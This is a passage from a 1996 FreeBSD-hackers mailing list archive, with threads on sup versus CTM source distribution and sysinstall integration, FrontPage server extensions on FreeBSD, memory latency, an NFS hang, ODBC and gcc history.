cannot master "ed",(forget "vi", it's too friendly), how can you expect the user to configure a system? The same applies to the source. I would venture a guess that the vast majority of the users who obtain the source never submit enything back into the master tree. They may only want the source because "it's nice to have", or they may install a few changes, or build a custom kernel, but they don't write code to enhance the system. -- ...computers in the future may have only 1,000 vacuum tubes and weigh only 1/2 tons. -- Popular Mechanics, March 1949 From owner-freebsd-hackers Fri May 17 06:01:24 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id GAA14561 for hackers-outgoing; Fri, 17 May 1996 06:01:24 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id GAA14544 for ; Fri, 17 May 1996 06:01:20 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id GAA03185 for ; Fri, 17 May 1996 06:01:17 -0700 (PDT) To: hackers@freebsd.org Subject: Was frustrated by lack of java applet viewer, threw this together.. Date: Fri, 17 May 1996 06:01:17 -0700 Message-ID: <3183.832338077@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Implemented as a shell function: function java { if [ $# -ne 1 ]; then echo "Usage: $0 classname" return 1 fi base=`dirname $1`/`basename $1 .java` if [ ! -f $base.html ]; then echo "No such file: $base.html" return 2 fi netscape -remote "openURL(file:`pwd`/$base.html)" } It works fairly well! If you've got `javac' set up to use Netscape as the compiler, then compiling and previewing your java applet becomes as easy as: javac Foo.java java Foo.java Jordan From owner-freebsd-hackers Fri May 17 06:15:13 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id GAA15660 for hackers-outgoing; Fri, 17 May 1996 06:15:13 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id GAA15655 for ; Fri, 17 May 1996 06:15:11 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id GAA03218; Fri, 17 May 1996 06:14:52 -0700 (PDT) To: "Richard Wackerbarth" cc: "Michael Smith" , "FreeBSD Hackers" Subject: Re: Standard Shipping Containers In-reply-to: Your message of "17 May 1996 07:43:41 CDT." Date: Fri, 17 May 1996 06:14:52 -0700 Message-ID: <3216.832338892@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > [ Various arguments about CTM, CVS and so on elided ] Here's my perspective on all of this... There are 3 ways of getting the sources: 1. Extract the srcdist tarball. 2. Sup: 2a. Configure sup file. 2b. Run supfile first time. 3c. Add optional sup entry to crontab. 3. CTM 3a. Unpack initial deltas 3b. Subscribe to appropriate mailing list. 3c. Add optional alias to aliases. All three of these techniques constitute perfectly reasonable ways of getting the sources, depending on your needs. Only one of these techniques is automated enough to make it currently usable a in semi- automated fashion by sysinstall, however, and that's #1. If anyone on either side of the great sup vs CTM debate would care to automate steps a-c for their syncronization mechanism of choice, I'll be more than happy to help with the actual integration of same into sysinstall. The installation procedure should, of course, be as novice-friendly as sysinstall in general (so I'm not setting the goals all that high :-) and implemented in a manner similar to the configApache() or configSamba() routines (see /usr/src/release/sysinstall sources for details). I personally think that this feature is overdue, but I haven't time to implement configSUP() and configCTM() myself so I'd really need someone else to do the coding. Considering the relative paucity of questions to ask ("What directory do you want to keep your sources in?"), it should be a fairly easy task. Jordan From owner-freebsd-hackers Fri May 17 06:56:26 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id GAA18109 for hackers-outgoing; Fri, 17 May 1996 06:56:26 -0700 (PDT) Received: from smoke.microwiz.com (smoke.microwiz.com [206.100.22.130]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id GAA18090; Fri, 17 May 1996 06:56:22 -0700 (PDT) Received: from jpm.microwiz.com (jpm.microwiz.com [206.100.22.140]) by smoke.microwiz.com (8.7.5/8.7.3) with SMTP id GAA24062 Fri, 17 May 1996 06:57:43 -0700 (PDT) Message-Id: <199605171357.GAA24062@smoke.microwiz.com> Comments: Authenticated sender is From: "John McNamee" Organization: MicroWizards To: freebsd-hackers@freebsd.org, freebsd-isp@freebsd.org Date: Fri, 17 May 1996 06:57:48 PST Subject: Microsoft FrontPage server extensions (was: BSDI binary support) CC: mark@quickweb.com Priority: normal X-mailer: Pegasus Mail for Windows (v2.33) Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I wanted to let everybody know that the FrontPage server extensions for BSDI do indeed work on FreeBSD 2.1-STABLE (they may run on other versions too, but 2.1-STABLE is all I have at my site). The executables are statically linked, so they're a bit large, but they do avoid any shared library issues. There is a problem with passwords. The FrontPage fpsrvadm program appears to have DES crypt linked into it (I wonder if Microsoft ever considered the export implications?). When you use fpsrvadm to install FrontPage on your system, it creates a password database in /_vti_pvt/service.pwd. The password they stick in this file appears to be DES encrypted, but your web server is probably expecting MD5 (unless you install the FreeBSD DES code). As a workaround, I just copied my MD5 password from /etc/master.passwd into service.pwd. This got me running, but I haven't used FrontPage enough to know if this will be an ongoing hassle or a one-time set up issue. By the way, I hear that Microsoft DOES NOT plan to release a Linux version of the FrontPage extensions. ISP's using Linux for their web servers won't be able to support customers with FrontPage. I expect FrontPage to become very popular with end-users who want to do their own web pages. It's a good application at an attractive price, and of course it has Microsoft behind it. We might see some Linux-based ISP's switching to FreeBSD because of this. -- John McNamee MicroWizards Voice: 702-825-3535 / FAX: 702-825-3443 http://www.microwiz.com From owner-freebsd-hackers Fri May 17 06:59:41 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id GAA18255 for hackers-outgoing; Fri, 17 May 1996 06:59:41 -0700 (PDT) Received: from distortion.eng.umd.edu (distortion.eng.umd.edu [129.2.98.6]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id GAA18236; Fri, 17 May 1996 06:59:37 -0700 (PDT) Received: from maryann.eng.umd.edu (maryann.eng.umd.edu [129.2.98.209]) by distortion.eng.umd.edu (8.7.5/8.7.3) with ESMTP id JAA12806; Fri, 17 May 1996 09:59:35 -0400 (EDT) Received: (from chuckr@localhost) by maryann.eng.umd.edu (8.7.5/8.7.3) id JAA26502; Fri, 17 May 1996 09:59:34 -0400 (EDT) Date: Fri, 17 May 1996 09:59:32 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@maryann.eng.umd.edu To: Richard Wackerbarth cc: FreeBSD Current , FreeBSD Hackers , "freebsd-stable@freebsd.org" , Nate Williams Subject: Re: Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On 16 May 1996, Richard Wackerbarth wrote: > > Since those who have the direct access are not really inhibited by this > proposal, I suggest that you reconsider it in view of the other 99.99% of the > folks for whom my assumptions apply. > > I hope there is somebody out there who cares about the difficulties of the > "average joe" and doesn't simply brush off those problems because they are a > member of the elite class who get to play by their own rules. If you would make clear that your realize that your comments don't apply to those who are net connected, you wouldn't have everyone complaining. Your comments so far have been incorrect in how sup and ctm really work. No one would argue about upgrading ctm, but you seem to be making claims about both sup and ctm that don't apply to both. You ask who cares about those not net-connected, but your own comments seem to betray a prejudice against those who ARE net-connected. How about caring for both? That's why there's TWO tools, not one. > > -- > > ...computers in the future may have only 1,000 vacuum tubes and weigh > only 1/2 tons. -- Popular Mechanics, March 1949 > > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 9120 Edmonston Ct #302 | Greenbelt, MD 20770 | I run Journey2 and n3lxx, both FreeBSD (301) 220-2114 | version 2.2 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Fri May 17 07:03:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA18546 for hackers-outgoing; Fri, 17 May 1996 07:03:08 -0700 (PDT) Received: from mail.barrnet.net (mail.barrnet.net [131.119.246.7]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id HAA18541 for ; Fri, 17 May 1996 07:03:05 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by mail.barrnet.net (8.7.5/MAIL-RELAY-LEN) with SMTP id FAA04135 for ; Thu, 16 May 1996 05:26:19 -0700 (PDT) Received: (from narvi@localhost) by haldjas.folklore.ee (8.6.12/8.6.12) id PAA26453; Thu, 16 May 1996 15:16:49 +0300 Date: Thu, 16 May 1996 15:16:48 +0300 (EET DST) From: Narvi To: "Serge A. Babkin" cc: hackers@freebsd.org Subject: Re: EDO & Memory latency In-Reply-To: <199605161047.QAA13555@hq.icb.chel.su> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 16 May 1996, Serge A. Babkin wrote: > > > > > > On Thu, 16 May 1996, Serge A. Babkin wrote: > > > > > I have just tried lmbench and the numbers it gives are looking > > > slightly strange for me. It shows memory latency upto 500ns while > > > I have 60-ns EDO memory in a Pentium/75 box. Okay, its external > > > clock is 25MHz, this gives 40ns, one wait state, it gives another 40ns, > > > it gives 80ns, but why the overhead is over 400ns ? > > > > The external bus of the Pentium 75 should be 50Mhz. It is 1.5x50, not > > You're right, I was wrong. So, the guestion gets yet more interesting :-) > > > 3x25. 60ns EDO sounds like an overkill for a Pentium 75 though... > > I would use a quicker processor and (120) with ordinary memory > > (fast-page, 70ns) - but the likes may vary. > > I just got them for the same price as ordinary memory and of course > I choosed EDO. It costed me $125 per 8M SIMM. What? $125 for 8M 60ns EDO? I hope I lived where you do... :-( It also invalidates my claim whetever or not use the memory on a Pentium 75... > > -SB > Sander .sigless on the moment From owner-freebsd-hackers Fri May 17 07:04:13 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA18706 for hackers-outgoing; Fri, 17 May 1996 07:04:13 -0700 (PDT) Received: from DATAPLEX.NET (SHARK.DATAPLEX.NET [199.183.109.241]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id HAA18701 for ; Fri, 17 May 1996 07:04:09 -0700 (PDT) Received: from 199.183.109.242 by DATAPLEX.NET with SMTP (MailShare 1.0fc5); Fri, 17 May 1996 09:03:52 -0600 Message-ID: Date: 17 May 1996 09:03:42 -0500 From: "Richard Wackerbarth" Subject: Re(2): Standard Shipping Containers To: "Jordan K. Hubbard" Cc: "FreeBSD Hackers" X-Mailer: Mail*Link PT/Internet 1.6.0 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > [ Various arguments about CTM, CVS and so on elided ] > > Here's my perspective on all of this... > > There are 3 ways of getting the sources: > > 1. Extract the srcdist tarball. > 2. Sup: > 2a. Configure sup file. > 2b. Run supfile first time. > 3c. Add optional sup entry to crontab. > 3. CTM > 3a. Unpack initial deltas > 3b. Subscribe to appropriate mailing list. > 3c. Add optional alias to aliases. Don't forget the "live file system" > All three of these techniques constitute perfectly reasonable ways of getting the sources, depending on your needs. I agree. What I am looking to do now is to combine (1) (2b) and (3a) in such a manner that the user can mix and match. >I'd really need someone else to do the coding. > Considering the relative paucity of > questions to ask ("What directory do you want to keep your sources > in?"), it should be a fairly easy task. I'm afraid it is a little more complicated. But not an impossible task. Where do you want the updates collected? Do you want the updates applied automatically? Do you want to save the updates or delete them after they are applied? In the case of CTM, we also need to run an ftp client daemon to get the initial update and any that have gone out before the mailing list takes over. If we are going to do this (and I think it is a good idea) it places an even greater value on being able to do two things. (1) The ability to run this setup program after a system is set up: Just like the guy who wants to add a HD after the fact, a user is likely to first get the system up either without the sources or with the sources from the tarball or CD and later decide that he wants to add the ctm feature. (2) The unified source product: There is no need to download 28M again if only we can recognize what the user already has. By making the source tree carry a tree isomorphic to a ctm update, including the appropriate tag, we can automate the process of updating from that point. This applies to both ctm and sup. If you are willing to accept my idea (or a reasonable variation thereof) for the unified source product, I'll write the config. It will get a little "messy" in that I will have to add a user, add the alias, send mail, etc. How can we best handle the fact that these cannot be done in real time. They will have to wait for the system to be up and running with everything installed, etc. Do we have a mechanism to install an execute once script that will be activated later in the sequence? Also, what is your opinion on the "proper" (default) placement of the source tree. I feel that there needs to be a standard location for each release version. .../FreeBSD-2.1/src .../FreeBSD-2.2/src .../FreeBSD-current/src .../FreeBSD-CVS/src so that they can co-exist. /usr/src is then built by either (at the users option) copying or (preferably) linking to the appropriate tree. Or "mount union"? I would tend to suggest /usr/FreeBSD/FreeBSD-2.1.1/src. The sophisticated user can move this into /pub/FreeBSD, etc. with a link from /usr/FreeBSD. Your thoughts... -- ...computers in the future may have only 1,000 vacuum tubes and weigh only 1/2 tons. -- Popular Mechanics, March 1949 From owner-freebsd-hackers Fri May 17 07:05:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA18792 for hackers-outgoing; Fri, 17 May 1996 07:05:22 -0700 (PDT) Received: from iesd.auc.dk (root@iesd.auc.dk [130.225.48.4]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id HAA18782 for ; Fri, 17 May 1996 07:05:18 -0700 (PDT) Received: from giga.cs.auc.dk (hagen@giga.cs.auc.dk [130.225.194.3]) by iesd.auc.dk (8.6.5/8.6.5) with ESMTP id QAA22896 for ; Fri, 17 May 1996 16:05:13 +0200 Received: (hagen@localhost) by giga.cs.auc.dk (8.6.12/8.6.12) id QAA28314; Fri, 17 May 1996 16:05:12 +0200 Date: Fri, 17 May 1996 16:05:12 +0200 Message-Id: <199605171405.QAA28314@giga.cs.auc.dk> From: Jesper Hagen To: freebsd-hackers@freebsd.org Subject: NFS server is hanging. Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk During the last couple of weeks, the load on our FreeBSD NFS server has increased. Lately we discovered that the servers very easily were hung up to several minutes at a time when large files (over 1 MB) were written from large SparcStations. It seems only to be a problem when writing. This has become a severe problem---the servers hang several times a day. Has anyone experienced this and come up with solutions? Yours sincerely, -- Jesper Hagen Department of Mathematics and Computer Science. Aalborg University, Denmark. From owner-freebsd-hackers Fri May 17 07:07:11 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA18980 for hackers-outgoing; Fri, 17 May 1996 07:07:11 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id HAA18968 for ; Fri, 17 May 1996 07:07:07 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id IAA26980; Fri, 17 May 1996 08:07:01 -0600 Date: Fri, 17 May 1996 08:07:01 -0600 From: Nate Williams Message-Id: <199605171407.IAA26980@rocky.sri.MT.net> To: "Richard Wackerbarth" Cc: "Nate Williams" , "FreeBSD Hackers" Subject: Re: Re(2): Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD In-Reply-To: References: Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > I also don't consider the current system a problem. Thousands of folks are > able to get the sources today, and I actually think that the current scheme > tends to make sure that folks who get the newest sources have the ability to > deal with them, vs. giving them to the 'masses' when they aren't in a state > that they can handle. > > > Both -current and -stable are moving targets, and should only be used by > more competent people. If you aren't competent enough to figure out SUP > and/or CTM as it is currently, use the SNAPS or wait for the CD. > > I'll take another shot at that comment. It is no wonder the Linux is more > popular. I'm glad that Jordan doesn't adopt your "keep it hard to do" > attitude. I never once said 'keep it hard'. What I implied was 'don't make it annoyingly easy' since it'll simply mean more confused users who don't know what to do with the sources once they've gotten them. > There are thousands who manage to get the sources IN SPITE OF THE > DIFFICULTIES in their way. Actually, if you read Usenet, *most* of the Linux users use the distributions (ie; RedHat, Slackware, FT, etc..). It isn't the majority that use the 'newest sources', but people who are more computer literate than your 'average user'. Heck, our system is *much* easier to bootstrap to a new release than *any* version of Linux, and getting the sources are easier to get. Nate From owner-freebsd-hackers Fri May 17 07:22:50 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA19763 for hackers-outgoing; Fri, 17 May 1996 07:22:50 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id HAA19758; Fri, 17 May 1996 07:22:46 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id IAA27053; Fri, 17 May 1996 08:21:21 -0600 Date: Fri, 17 May 1996 08:21:21 -0600 From: Nate Williams Message-Id: <199605171421.IAA27053@rocky.sri.MT.net> To: Terry Lambert Cc: gpalmer@freebsd.org (Gary Palmer), mrcpu@cdsnet.net, hackers@freebsd.org Subject: Re: A MMAP observation In-Reply-To: <199605170358.UAA18769@phaeton.artisoft.com> References: <9269.832294686@palmer.demon.co.uk> <199605170358.UAA18769@phaeton.artisoft.com> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > Of course, if somebody would make ODBC clients for FreeBSD so I could let > > > it talk to my NT SQL server, then I wouldn't have to mess with this at > > > all. :) > > > > I think ``ODBC'' is another mis-nomer from the halls of Microsoft. ... > I saw a posting of a UNIX ODBC on comp.sources.unix about 8 months > ago (+/- 2 months). Actually, it was Alt.sources. I can't believe my pack-rat mentality actually got something that Terry didn't. :) iODBC driver manager 2.10 has just been released. source codes can be getten from: ftp://ftp.demon.co.uk/pub/perl/db/other/iODBC/iODBC-2.10.shar ftp://ftp.net.ohio-state.edu/pub/languages/perl/db/other/iODBC/iODBC-2.10.shar or other mirror sites. Nate From owner-freebsd-hackers Fri May 17 07:24:15 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA19965 for hackers-outgoing; Fri, 17 May 1996 07:24:15 -0700 (PDT) Received: from DATAPLEX.NET (SHARK.DATAPLEX.NET [199.183.109.241]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id HAA19920 for ; Fri, 17 May 1996 07:24:11 -0700 (PDT) Received: from 199.183.109.242 by DATAPLEX.NET with SMTP (MailShare 1.0fc5); Fri, 17 May 1996 09:24:03 -0600 Message-ID: Date: 17 May 1996 09:23:53 -0500 From: "Richard Wackerbarth" Subject: Re(2): Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD To: "Chuck Robey" Cc: "FreeBSD Current" , "FreeBSD Hackers" X-Mailer: Mail*Link PT/Internet 1.6.0 Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Chuck Robey writes: > No one would argue about upgrading ctm, but you seem to be making claims about both sup and ctm that don't apply to both. > You ask who cares about those not net-connected, but your own comments seem to betray a prejudice against those who ARE net-connected. How about caring for both? That's why there's TWO tools, not one. I think you are making only a shallow reading of my comments. 1) Both sup and ctm have their place in the update scheme. They can be made to complement each other. For regular updates, ctm places a lower burden on the servers. It does not send entire files when just the deltas will do. However, it relies on the concept that the tree is either read-only (as I think it should be) or that you have a mechanism to restore it before you move forward. Sup could be administered in such a manner that it provides the restoration procedure and the subsequent updates could then be done by ctm. 2) Right now both suffer for the lack of standardization and cross usage. Neither can convieniently utilize an up-to-date, or partly up-to-date, tree as a starting point. Ctm does better at this only because of the manual effort of the distributors. I'm not claiming that any method is always superior. However, I do claim that standardization would allow more flexibility. This, in turn, might encourage users to use techniques that, because of present limitations, seem unworkable except in the "best case". -- ...computers in the future may have only 1,000 vacuum tubes and weigh only 1/2 tons. -- Popular Mechanics, March 1949 From owner-freebsd-hackers Fri May 17 07:27:15 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA20200 for hackers-outgoing; Fri, 17 May 1996 07:27:15 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id HAA20194 for ; Fri, 17 May 1996 07:27:11 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id IAA27070; Fri, 17 May 1996 08:27:01 -0600 Date: Fri, 17 May 1996 08:27:01 -0600 From: Nate Williams Message-Id: <199605171427.IAA27070@rocky.sri.MT.net> To: Taavi Talvik Cc: Richard Wackerbarth , FreeBSD Hackers Subject: Re: Standard Shipping Containers - A Proposal for Distributing FreeBSD In-Reply-To: References: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I am trying to mirror FreeBSD distributions for ftp.ee.freebsd.org. ^^^^^^^^^^^^^^^^^^ I'm assuming you meant 'ftp.freebsd.org'. > So far i not very successful in keeping my server up to date. This is not FreeBSD's fault, but the fault of the Internet as a whole. In particulr, all of cdrom.com goes off-line 3-4 times/day because Sprint's router at CIX melts down, and it takes a couple hours for it to come back up. This is *silly*, and I have placed several trouble tickets with Sprint with regard to this problem. I understand that these sorts of problems are common throughout the Internet, which just isn't capable of withstanding the growth/BW it has seen in the last 12 months. > For example last nite mirror retrieved onlyabout 50 files before ftp > server went away. Restarting means retreieving another 30M of directory > listing... If you can, can you break the mirror script down into multiple targets. That way you can at least update it incrementally, rather than trying to get everything in on shot? Nate From owner-freebsd-hackers Fri May 17 07:33:04 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA20605 for hackers-outgoing; Fri, 17 May 1996 07:33:04 -0700 (PDT) Received: from nda.nda.com (fw1.NDA.COM [204.57.47.254]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id HAA20596 for ; Fri, 17 May 1996 07:32:59 -0700 (PDT) Received: (kevin@localhost) by nda.nda.com (8.7.4/8.6.4) id KAA24097; Fri, 17 May 1996 10:30:32 -0400 (EDT) From: Kevin Lyda Message-Id: <199605171430.KAA24097@nda.nda.com> Subject: Re: xircom hardware specs To: nate@sri.MT.net (Nate Williams) Date: Fri, 17 May 1996 10:30:32 -0400 (EDT) Cc: terry@lambert.org, nate@sri.MT.net, kevin@NDA.COM, freebsd-hackers@FreeBSD.org In-Reply-To: <199605170409.WAA25691@rocky.sri.MT.net> from "Nate Williams" at May 16, 96 10:09:09 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > > > i'm using an nec versa 2200c laptop with a xircom ethernet+modem > > > > pcmcia card. no drivers available. > > > Nope, because Xircom won't release the specs. w/out an NDA. that's ok, i work for nda. :) > > > > i sent email to xircom customer support and was informed that they > > > > would release the specs to interested developers. is anyone pursuing > > > > this? i'm willing to support a binary only driver in -stable, and as best i can in -current. i haven't faxed xircom for more info, so i'm unsure if an nda is still required or no. if so i won't mind honoring one. kevin From owner-freebsd-hackers Fri May 17 07:35:27 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA20746 for hackers-outgoing; Fri, 17 May 1996 07:35:27 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id HAA20738 for ; Fri, 17 May 1996 07:35:21 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id IAA27102; Fri, 17 May 1996 08:35:15 -0600 Date: Fri, 17 May 1996 08:35:15 -0600 From: Nate Williams Message-Id: <199605171435.IAA27102@rocky.sri.MT.net> To: "Michael L. VanLoon -- HeadCandy.com" Cc: Peter Mutsaers , freebsd-hackers@freebsd.org Subject: Re: internal compiler error In-Reply-To: <199605170751.AAA16653@MindBender.HeadCandy.com> References: <87loisb709.fsf@plm.simplex.nl> <199605170751.AAA16653@MindBender.HeadCandy.com> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > ago. GCC 1.4.5 was used by NetBSD looong after GCC 2 was released. Until PK's shlib scheme, yes. NetBSD actually completely switched to gcc2 at that point, where some folks in the FreeBSD camp (ie; me) whined badly enough that FreeBSD had two compilers GCC1 and GCC2 for quite a while, but I finally gave up since maintenance was a nightware. > It was very quick, easy on memory, and very stable (read not very > buggy). GCC 2.x.x in the 2.5.x time-frame was a buggy mess, from the > many accounts I've heard. But the shlib hacks didn't work in GCC 1. > The two biggest reasons they finally switched to 2.x.x were because 1) > GCC 2.7 finally fixed enough of the bugs that it was deemed usable, > and some of the non-i386 ports (like the 68K) didn't produce very good > code in 1.4.5, and 2) there were just some features they needed to > move forward (many of them having to do with obscure non-Intel > processors, from what I remember). The *biggest* reason was the shlibs worked in GCC 2 and not in GCC 1. Now, the above reasons may be why they switched from Gcc 2.5.3 -> 2.7.2, since the GCC in NetBSD was 2.5.3 until recently. Did NetBSD *ever* run any variant of gcc 2.6? > The core group has said more than once, however, that if they could > find another ANSI-compliant compiler, source-distributable, not under > the GPL (well, under a Berkeley-style license), that was much smaller > and simpler, and worked well with all the architectures, they'd jump > to it without a complaint. Lcc is one that has come up several times, > but has been deemed "not quite ready, yet". It has been deemed 'not using a valid copyright', and to top it off the shlib scheme used in both camps won't work with it. :( Nate From owner-freebsd-hackers Fri May 17 07:39:42 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA21035 for hackers-outgoing; Fri, 17 May 1996 07:39:42 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id HAA21027 for ; Fri, 17 May 1996 07:39:38 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id IAA27118; Fri, 17 May 1996 08:39:22 -0600 Date: Fri, 17 May 1996 08:39:22 -0600 From: Nate Williams Message-Id: <199605171439.IAA27118@rocky.sri.MT.net> To: "Richard Wackerbarth" Cc: "hackers@FreeBSD.org" , "Michael Smith" Subject: Re: Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD In-Reply-To: References: Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > What's wrong with things as they are? Why should anyone feel compelled to > change things if they're not broken? > > They are broken! And I don't want to have to keep repeating the > generation of patches to fix them. The *distribution* mechanism is *NOT* broken. > Here is what's broken: > > 1) For the new sup user to get started, sup has to download > the entire source tree, even though the user already has most > of it from the tarball or the CD. This is the same way with *every* package on the net, including Linux. Everytime you want to have the 'latest&greatest' sources, there is always a penalty involved. Now, minimizing that penalty is worthy goal, but calling it broken is using the wrong term. Nate From owner-freebsd-hackers Fri May 17 07:46:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA21545 for hackers-outgoing; Fri, 17 May 1996 07:46:34 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id HAA21536 for ; Fri, 17 May 1996 07:46:29 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id HAA04092; Fri, 17 May 1996 07:46:17 -0700 (PDT) To: "Richard Wackerbarth" cc: "FreeBSD Hackers" Subject: Re: Re(2): Standard Shipping Containers In-reply-to: Your message of "17 May 1996 09:03:42 CDT." Date: Fri, 17 May 1996 07:46:17 -0700 Message-ID: <4090.832344377@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Don't forget the "live file system" Fair point, not that I've ever used it for that purpose to date. :-) > I'm afraid it is a little more complicated. But not an impossible task. > Where do you want the updates collected? > Do you want the updates applied automatically? > Do you want to save the updates or delete them after they are applied? OK. But certainly no more complicated than, say, the anonymous ftp setup screen. > If we are going to do this (and I think it is a good idea) it places an even > greater value on being able to do two things. > > (1) The ability to run this setup program after a system is set up: Just like > the guy who wants to add a HD after the fact, a user is likely to first get > the system up either without the sources or with the sources from the tarball > or CD and later decide that he wants to add the ctm feature. Absolutely. Just like packages, samba, anon ftp setup, etc. Not only should everything be re-entrant via the sysinstall menus at post-installation time, but we can now have shell scripts that call sysinstall with arguments now to invoke specific subsystems directly if we want to provide a few aliases (e.g. `sysinstall configPackages' for a pkg_manage replacement, or `sysinstall configCTM' to drop into your CTM configuration dialogs). I'm definitely trying to maximize its utility for post-installation tasks. > (2) The unified source product: > There is no need to download 28M again if only we can recognize what the user > already has. By making the source tree carry a tree isomorphic to a ctm > update, including the appropriate tag, we can automate the process of updatin g > from that point. This applies to both ctm and sup. That's sort of an added pain-in-the-butt, but I guess we'll figure out some way of dealing with the syncronization issues in the release tools. Currently I just check out a copy of the source tree and I don't need to worry about whether or not what's there at the end of the cvs checkout run matches the state of my captured CTM deltas. That little wrinkle has to be worked out and some major testing of the implementation done before your dream can become reality here. Also, I would expect configCTM() and configSUP() to have enough in-built smarts to detect conflicts, even going so far as to tweak the DIST_SRC flag out of Dists if the user selects a "smarter" source update method which should happen instead of unpacking the src tarball. Sysinstall is really nothing more than a collection of extremely nepotistic routines with vague pretentions of being stand-alone. I don't really mind if one shunts the user down a slightly different installation path. > It will get a little "messy" in that I will have to add a user, add the alias , > send mail, etc. See the anon ftp setup - it does all of those things too, sort of. > How can we best handle the fact that these cannot be done in real 